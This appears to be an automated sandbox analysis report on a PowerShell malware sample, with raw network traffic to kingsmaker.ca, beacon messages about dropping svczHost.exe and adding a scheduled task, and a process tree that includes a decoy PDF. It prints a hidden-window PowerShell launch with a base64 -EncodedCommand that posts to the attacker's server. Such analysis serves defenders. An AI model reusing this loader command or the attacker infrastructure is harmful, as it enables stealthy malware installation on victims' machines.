de 18 ab 01 01 01 01 01 01 01 01 51 44 01 01 65 87 09 01 02 d3 0c 66 01 01 01 01 01 01 01 01 f1 01 23 Data Ascii: L[A M Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/%v_ZZZ[[ShbiQDef#
2024-11-29 07:25:04 UTC	1369	IN	Data Raw: 0f 28 01 d5 46 01 01 47 38 01 01 15 16 01 e1 b7 0a 01 01 11 01 01 01 01 01 41 00 01 01 01 01 11 01 01 01 03 01 01 07 01 01 01 01 01 01 01 07 01 01 01 01 01 01 01 01 71 99 01 01 05 01 01 01 01 01 01 02 01 61 80 01 01 11 01 01 01 01 01 01 11 01 01 01 01 01 01 01 01 11 01 01 01 01 01 01 11 01 01 01 01 01 01 01 01 01 01 11 01 01 01 11 29 90 01 59 01 01 01 69 29 90 01 55 00 01 01 01 41 99 01 8b 04 01 01 01 71 92 01 45 ce 05 01 01 01 01 01 01 01 01 01 01 51 99 01 cd 11 01 01 31 8f 87 01 1d 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 91 87 01 29 01 01 01 f1 8d 87 01 41 00 01 01 01 01 01 01 01 01 01 01 01 11 5e 01 01 0a 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 2f 75 64 79 75 01 01 01 79 26 0d 01 01 11 01 01 01 Data Ascii: (FG8Aqa)Yi)UAqEQ1)A^/udyuy&
2024-11-29 07:25:04 UTC	1369	IN	Data Raw: d1 e8 be d5 25 01 49 8c 04 99 d7 4f 01 49 8c 0c 88 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a3 d5 25 01 49 8c 04 d2 d7 4f 01 49 8c 0c c5 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 84 d5 25 01 49 8c 04 07 d6 4f 01 49 8c 0c f6 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 69 d5 25 01 49 8c 04 20 d6 4f 01 49 8c 0c 13 d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4a d5 25 01 49 8c 04 1d d6 4f 01 49 8c 0c 0c d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 2f d5 25 01 49 8c 04 26 d6 4f 01 49 8c 0c 19 d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 10 d5 25 01 49 8c 04 8b d6 4f 01 49 8c 0c 7a d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f5 d2 25 01 49 8c 04 9c d6 4f 01 49 8c 0c 8f d6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 d6 d2 25 01 49 8c 04 a9 d6 4f 01 49 8c 0c 98 d6 4f 01 49 82 38 Data Ascii: %IOIOI8tI%IOIOI8tI%IOIOI8tIi%I OIOI8tIJ%IOIOI8tI/%I&OIOI8tI%IOIzOI8tI%IOIOI8tI%IOIOI8
2024-11-29 07:25:04 UTC	1369	IN	Data Raw: 49 8c 04 04 db 4f 01 49 8c 0c f7 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4e ce 25 01 49 8c 04 11 db 4f 01 49 8c 0c 00 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 33 ce 25 01 49 8c 04 3a db 4f 01 49 8c 0c 2d db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 14 ce 25 01 49 8c 04 2f db 4f 01 49 8c 0c 1e db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 f9 cf 25 01 49 8c 04 20 db 4f 01 49 8c 0c 13 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 da cf 25 01 49 8c 04 15 db 4f 01 49 8c 0c 04 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 bf cf 25 01 49 8c 04 16 db 4f 01 49 8c 0c 09 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a0 cf 25 01 49 8c 04 5b db 4f 01 49 8c 0c 4a db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 85 cf 25 01 49 8c 04 4c db 4f 01 49 8c 0c 3f db 4f 01 49 82 38 01 74 00 c2 49 8a Data Ascii: IOIOI8tIN%IOIOI8tI3%I:OI-OI8tI%I/OIOI8tI%I OIOI8tI%IOIOI8tI%IOIOI8tI%I[OIJOI8tI%ILOI?OI8tI
2024-11-29 07:25:04 UTC	541	IN	Data Raw: 38 01 74 00 c2 49 8a d1 e8 e7 c8 25 01 49 8c 04 96 57 90 01 49 8a 01 49 8c 0c a4 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c8 25 01 49 8c 04 8e 57 90 01 49 8a 01 49 8c 0c 74 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c8 25 01 49 8c 04 76 57 90 01 49 8a 01 49 8c 0c 5c ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c8 25 01 49 8c 04 5e 57 90 01 49 8a 01 49 8c 0c 44 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c8 25 01 49 8c 04 46 57 90 01 49 8a 01 49 8c 0c 2c ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c8 25 01 49 8c 04 36 57 90 01 49 8a 01 49 8c 0c 14 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c8 25 01 49 8c 04 36 57 90 01 49 8a 01 49 8c 0c 44 ca 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c8 25 01 49 8c 04 26 57 90 01 49 8a 01 49 8c 0c 2c ca 4f 01 49 Data Ascii: 8tI%IWIIOI8tI%IWIItOI8tI%IvWII\OI8tI%I^WIIDOI8tIg%IFWII,OI8tIG%I6WIIOI8tI'%I6WIIDOI8tI%I&WII,OI
2024-11-29 07:25:04 UTC	1369	IN	Data Raw: 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c6 25 01 49 8c 04 ae 54 90 01 49 8a 01 49 8c 0c c4 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c6 25 01 49 8c 04 96 54 90 01 49 8a 01 49 8c 0c ac cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c6 25 01 49 8c 04 86 54 90 01 49 8a 01 49 8c 0c 9c cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c6 25 01 49 8c 04 76 54 90 01 49 8a 01 49 8c 0c 84 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c6 25 01 49 8c 04 66 54 90 01 49 8a 01 49 8c 0c 6c cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c6 25 01 49 8c 04 4e 54 90 01 49 8a 01 49 8c 0c 54 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c6 25 01 49 8c 04 36 54 90 01 49 8a 01 49 8c 0c 3c cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c7 25 01 49 8c 04 26 54 90 01 49 8a 01 49 8c 0c 24 cb Data Ascii: I8tI%ITIIOI8tI%ITIIOI8tI%ITIIOI8tIg%IvTIIOI8tIG%IfTIIlOI8tI'%INTIITOI8tI%I6TII<OI8tI%I&TII$
2024-11-29 07:25:04 UTC	1369	IN	Data Raw: 01 49 8c 0c 74 c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c3 25 01 49 8c 04 d6 53 90 01 49 8a 01 49 8c 0c 5c c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c3 25 01 49 8c 04 be 53 90 01 49 8a 01 49 8c 0c 44 c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c3 25 01 49 8c 04 a6 53 90 01 49 8a 01 49 8c 0c 2c c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c3 25 01 49 8c 04 8e 53 90 01 49 8a 01 49 8c 0c 14 c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c0 25 01 49 8c 04 76 53 90 01 49 8a 01 49 8c 0c fc c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c0 25 01 49 8c 04 5e 53 90 01 49 8a 01 49 8c 0c e4 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c0 25 01 49 8c 04 46 53 90 01 49 8a 01 49 8c 0c cc c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c0 25 01 49 8c 04 2e 53 90 01 49 Data Ascii: ItOI8tIg%ISII\OI8tIG%ISIIDOI8tI'%ISII,OI8tI%ISIIOI8tI%IvSIIOI8tI%I^SIIOI8tI%IFSIIOI8tI%I.SI
2024-11-29 07:25:04 UTC	1369	IN	Data Raw: 04 fe 4e 90 01 49 8a 01 49 8c 0c bc c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 bc 25 01 49 8c 04 e6 4e 90 01 49 8a 01 49 8c 0c b4 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 bd 25 01 49 8c 04 ce 4e 90 01 49 8a 01 49 8c 0c a4 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 bd 25 01 49 8c 04 c6 4e 90 01 49 8a 01 49 8c 0c 8c c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 bd 25 01 49 8c 04 b6 4e 90 01 49 8a 01 49 8c 0c 7c c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 bd 25 01 49 8c 04 ae 4e 90 01 49 8a 01 49 8c 0c 64 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 bd 25 01 49 8c 04 9e 4e 90 01 49 8a 01 49 8c 0c 4c c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 bd 25 01 49 8c 04 96 4e 90 01 49 8a 01 49 8c 0c 34 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 bd 25 01 49 Data Ascii: NIIOI8tI%INIIOI8tI%INIIOI8tI%INIIOI8tI%INII\|OI8tI%INIIdOI8tIg%INIILOI8tIG%INII4OI8tI'%I
2024-11-29 07:25:04 UTC	1369	IN	Data Raw: e8 c7 b6 25 01 49 8c 04 86 4f 90 01 49 8a 01 49 8c 0c 84 c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b6 25 01 49 8c 04 a6 4f 90 01 49 8a 01 49 8c 0c 6c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b6 25 01 49 8c 04 a6 4f 90 01 49 8a 01 49 8c 0c 5c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b6 25 01 49 8c 04 8e 4f 90 01 49 8a 01 49 8c 0c 4c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b6 25 01 49 8c 04 7e 4f 90 01 49 8a 01 49 8c 0c 34 c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b6 25 01 49 8c 04 76 4f 90 01 49 8a 01 49 8c 0c 1c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b6 25 01 49 8c 04 6e 4f 90 01 49 8a 01 49 8c 0c 04 c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b7 25 01 49 8c 04 56 4f 90 01 49 8a 01 49 8c 0c ec c3 4f 01 49 82 38 01 74 00 c2 49 8a Data Ascii: %IOIIOI8tI%IOIIlOI8tI%IOII\OI8tIg%IOIILOI8tIG%I~OII4OI8tI'%IvOIIOI8tI%InOIIOI8tI%IVOIIOI8tI
2024-11-29 07:25:04 UTC	1369	IN	Data Raw: 01 74 00 c2 49 8a d1 e8 67 b3 25 01 49 8c 04 8e 4a 90 01 49 8a 01 49 8c 0c ec be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b3 25 01 49 8c 04 76 4a 90 01 49 8a 01 49 8c 0c e4 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b3 25 01 49 8c 04 5e 4a 90 01 49 8a 01 49 8c 0c cc be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b3 25 01 49 8c 04 46 4a 90 01 49 8a 01 49 8c 0c b4 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b0 25 01 49 8c 04 2e 4a 90 01 49 8a 01 49 8c 0c 9c be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b0 25 01 49 8c 04 1e 4a 90 01 49 8a 01 49 8c 0c 84 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b0 25 01 49 8c 04 06 4a 90 01 49 8a 01 49 8c 0c 94 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b0 25 01 49 8c 04 ee 4b 90 01 49 8a 01 49 8c 0c 7c be 4f 01 49 82 Data Ascii: tIg%IJIIOI8tIG%IvJIIOI8tI'%I^JIIOI8tI%IFJIIOI8tI%I.JIIOI8tI%IJIIOI8tI%IJIIOI8tI%IKII\|OI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49739	172.67.179.67	443	3688	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:25:23 UTC	284	OUT	POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Content-Length: 200
2024-11-29 07:25:23 UTC	200	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 63 6f 6d 70 6c 65 74 65 64 3a 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 54 68 65 20 66 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 20 77 61 73 20 70 72 6f 63 65 73 73 65 64 20 61 6e 64 20 73 61 76 65 64 20 61 73 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 73 76 63 7a 48 6f 73 74 2e 65 78 65 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Download completed: C:\\\\Windows\\\\Temp\\\\file\"", "\"The file C:\\\\Windows\\\\Temp\\\\file was processed and saved as C:\\\\Windows\\\\Temp\\\\svczHost.exe\"", "----------"]
2024-11-29 07:25:24 UTC	1008	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:25:24 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=giVYk%2FhP06SWnP3gNuOu%2BNfHNXqSAyMy%2FX4K%2BBIO7KSItHV%2Bec%2FLFCc3WHAA31KruGHZqwzsCJmga8tSc8M3S7yqCpk7UOleXaKWTW%2BYeOdAxz7afCF8wmX1DT6jbYcVcavmE%2FEUVLUk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=26613&min_rtt=1006&rtt_var=29131&sent=11697&recv=5569&lost=0&retrans=0&sent_bytes=16720139&recv_bytes=18846&delivery_rate=37516059&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dd0f4b5743af-EWR server-timing: cfL4;desc="?proto=TCP&rtt=7056&min_rtt=1740&rtt_var=3975&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1144&delivery_rate=1678160&cwnd=230&unsent_bytes=0&cid=4afc0148eed0eaeb&ts=1008&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49740	172.67.179.67	443	3688	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:25:25 UTC	283	OUT	POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Content-Length: 97
2024-11-29 07:25:25 UTC	97	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 65 74 65 6c 65 20 46 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 61 64 64 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Detele File C:\\\\Windows\\\\Temp\\\\file\"", "\"add task\"", "----------"]
2024-11-29 07:25:26 UTC	990	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:25:26 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zpKazfDO3%2FQoGpKj45AK2AAFSXSKOe4T4h0rjhonl4gjjjPLS9R51fgWaJ2wyVK4r0GEg3ymUBsAOMW2DehoRvxAJXP54TeMqbqtMwtoL2giRLKS3lJra9zx8now%2FonIjW%2B3gW4g%2Bh3E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=28460&min_rtt=1081&rtt_var=29170&sent=70&recv=78&lost=0&retrans=0&sent_bytes=19497&recv_bytes=52516&delivery_rate=5896607&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dd1daccd7c82-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1813&min_rtt=1807&rtt_var=691&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1040&delivery_rate=1568206&cwnd=202&unsent_bytes=0&cid=f233639d2a207784&ts=1008&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49742	172.67.179.67	443	3688	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:25:30 UTC	283	OUT	POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Content-Length: 64
2024-11-29 07:25:30 UTC	64	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 65 74 20 74 68 75 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"run task\"", "\"ket thuc\"", "----------"]
2024-11-29 07:25:31 UTC	1005	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:25:31 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mWVG%2BFbD29CUlfzVkT6OCjUiFDwr%2BWJIxuVyaFsb9EJ3MlWjnFo6j4Z0a%2BgWpKZGTJVIIg9UvLmtLq2%2F%2BqBj25khl5IlyMx5LtHP9exabenR2NBzmUmhtI4H9konux04Wa%2FMQ%2ByGAmDs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30749&min_rtt=1006&rtt_var=25504&sent=11728&recv=5609&lost=0&retrans=0&sent_bytes=16727170&recv_bytes=44986&delivery_rate=37516059&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dd3c8d980c7e-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1485&min_rtt=1478&rtt_var=570&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1007&delivery_rate=1894873&cwnd=231&unsent_bytes=0&cid=1d3fd83bbda13e45&ts=1216&x=0"

Target ID:	0
Start time:	02:24:07
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:24:07
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:24:10
Start date:	29/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline"
Imagebase:	0x7ff7a5dc0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:24:11
Start date:	29/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9F33.tmp" "c:\Users\user\AppData\Local\Temp\plizasuj\CSCCBC46C10AB9F47138B8378156B25D455.TMP"
Imagebase:	0x7ff7bd120000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:24:25
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:24:25
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:24:33
Start date:	29/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\Company Booklet.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:24:34
Start date:	29/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgA